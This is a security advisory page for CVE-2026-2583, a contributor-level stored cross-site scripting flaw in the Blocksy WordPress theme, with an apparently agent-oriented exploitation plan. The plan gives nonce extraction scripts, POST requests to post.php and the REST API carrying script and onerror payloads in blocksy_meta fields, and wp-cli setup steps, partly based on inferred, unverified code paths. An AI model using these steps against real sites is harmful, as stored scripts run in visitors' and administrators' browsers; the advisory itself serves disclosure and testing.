CVE-2026-2583

Blocksy <= 2.1.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via `blocksy_meta` Fields

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.31
Patched in
1d
Time to patch

Description

The Blocksy theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `blocksy_meta` metadata fields in all versions up to, and including, 2.1.30 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.30
PublishedMarch 2, 2026
Last updatedMarch 2, 2026
Affected themeblocksy

Source Code

WordPress.org SVN
Vulnerable v2.1.30
Patched v2.1.31
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2583 (Blocksy Theme Stored XSS) ## 1. Vulnerability Summary The Blocksy theme for WordPress (up to version 2.1.30) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists in the handling of the `blocksy_meta` metadata field associated with…

Show full research plan

Exploitation Research Plan: CVE-2026-2583 (Blocksy Theme Stored XSS)

1. Vulnerability Summary

The Blocksy theme for WordPress (up to version 2.1.30) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists in the handling of the blocksy_meta metadata field associated with posts and pages. While WordPress core provides some protection for metadata, themes that implement custom meta boxes or settings often use the blocksy_meta key to store a JSON-encoded array or serialized object containing display options (e.g., page titles, header overrides, custom labels).

The vulnerability occurs because the theme fails to properly sanitize this input when saving and/or fails to escape it when rendering the values on the frontend. A Contributor-level user, who has permission to create and edit their own posts, can inject arbitrary JavaScript into these metadata fields.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (Standard Post Update) or the WordPress REST API wp-json/wp/v2/posts/.
  • Vulnerable Parameter: blocksy_meta (submitted as part of the post metadata).
  • Authentication Level: Authenticated, Contributor or higher.
  • Preconditions: The Blocksy theme must be active. The attacker must have a user account with at least Contributor privileges to create/edit posts.

3. Code Flow (Inferred)

  1. Entry Point: A Contributor user saves a post. The request includes metadata updates, specifically for the key blocksy_meta.
  2. Processing:
    • The theme likely hooks into save_post or uses a custom AJAX handler (e.g., wp_ajax_blocksy_save_meta_options).
    • The code retrieves the blocksy_meta data from $_POST.
    • It fails to apply wp_kses() or sanitize_text_field() to specific sub-keys within the blocksy_meta array before calling update_post_meta().
  3. Sink: When a user (including an Administrator) views the affected post on the frontend:
    • The theme calls get_post_meta( $post_id, 'blocksy_meta', true ).
    • It accesses a specific field (e.g., page_title_custom_text or subtitle).
    • It echoes this value directly into the HTML without using esc_html(), esc_attr(), or wp_kses().

4. Nonce Acquisition Strategy

Since the vulnerability involves an authenticated Contributor, the agent will use the browser_navigate and browser_eval tools to obtain the necessary nonces from the WordPress admin interface.

  1. Login: Log in as a Contributor user.
  2. Navigate: Go to wp-admin/post-new.php.
  3. Extract Nonce:
    • For standard post updates, the nonce is found in the #_wpnonce hidden input field.
    • Script: browser_eval("document.querySelector('#_wpnonce').value")
  4. Identify Meta Structure: If Blocksy uses a custom interface, the agent will look for localized variables.
    • Script: browser_eval("window.blocksy_admin_data || window.ct_localizations")

5. Exploitation Strategy

The goal is to update the blocksy_meta field for a post owned by the Contributor.

Step 1: Create a Target Post

Use wp-cli to create a post as the contributor user.

wp post create --post_type=post --post_status=publish --post_title="XSS Test Post" --post_author=$(wp user get contributor --field=ID)

Step 2: Perform the Injection

We will use the http_request tool to send a POST request to wp-admin/post.php to update the post metadata.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [POST_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • blocksy_meta[page_title_custom_text]: <img src=x onerror=alert('XSS_SUCCESS')>
    • blocksy_meta[subtitle]: <script>console.log('XSS_SUBTITLE')</script>

(Note: The exact sub-keys under blocksy_meta may vary. Common Blocksy keys include page_title_custom_text, subtitle, or custom_content_area. The agent should try these or inspect the source of the edit page.)

Step 3: Trigger the XSS

Navigate to the post on the frontend using browser_navigate("http://localhost:8080/?p=[POST_ID]").

6. Test Data Setup

  1. Theme: Ensure blocksy version <= 2.1.30 is active.
  2. User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Post: Create a post as attacker.

7. Expected Results

  • The HTTP request to post.php should return a 302 Redirect back to the post edit page (indicating a successful save).
  • When the post is viewed on the frontend, the browser should execute the JavaScript (e.g., an alert box or console log).
  • The HTML source will show the raw payload inside a <h1>, <span>, or <div> tag related to the post title or metadata display.

8. Verification Steps

After the HTTP exploit, use wp-cli to verify the metadata state:

# Check if the payload is stored in the database
wp post meta get [POST_ID] blocksy_meta

Inspect the output to confirm that the blocksy_meta value contains the unescaped <script> or <img> tag.

9. Alternative Approaches

If the standard post.php update does not work for blocksy_meta, try the REST API:

  1. REST API Discovery: Check if blocksy_meta is registered in the REST API.
    curl -u attacker:password http://localhost:8080/wp-json/wp/v2/posts/[POST_ID]
    
  2. REST API Update:
    • URL: http://localhost:8080/wp-json/wp/v2/posts/[POST_ID]
    • Method: POST
    • Body: {"meta": {"blocksy_meta": {"page_title_custom_text": "<script>alert(1)</script>"}}}
    • Nonce: Use the wp_rest nonce (X-WP-Nonce header), which can be extracted via browser_eval("wpApiSettings.nonce").
Research Findings
Static analysis — not yet PoC-verified

Summary

The Blocksy theme for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping on the 'blocksy_meta' metadata fields. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into these metadata fields, which will execute whenever a user views the affected post or page.

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level permissions follows these steps: 1. Authenticate to the WordPress admin panel and create a new post or identify an existing post they authored. 2. Capture the necessary nonce (e.g., '_wpnonce') from the post editor interface. 3. Send a POST request to the 'wp-admin/post.php' endpoint with the 'action' parameter set to 'editpost' and the 'post_ID' targeting their post. 4. Within the POST body, include the 'blocksy_meta' array parameter containing an XSS payload in sub-keys such as 'page_title_custom_text' or 'subtitle' (e.g., blocksy_meta[page_title_custom_text]=<img src=x onerror=alert('XSS')>). 5. Alternatively, if the meta is registered in the REST API, perform a POST request to '/wp-json/wp/v2/posts/[ID]' with the payload in the 'meta' object. 6. The payload is stored in the database and will execute in the browser of any user who navigates to the public URL of the modified post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.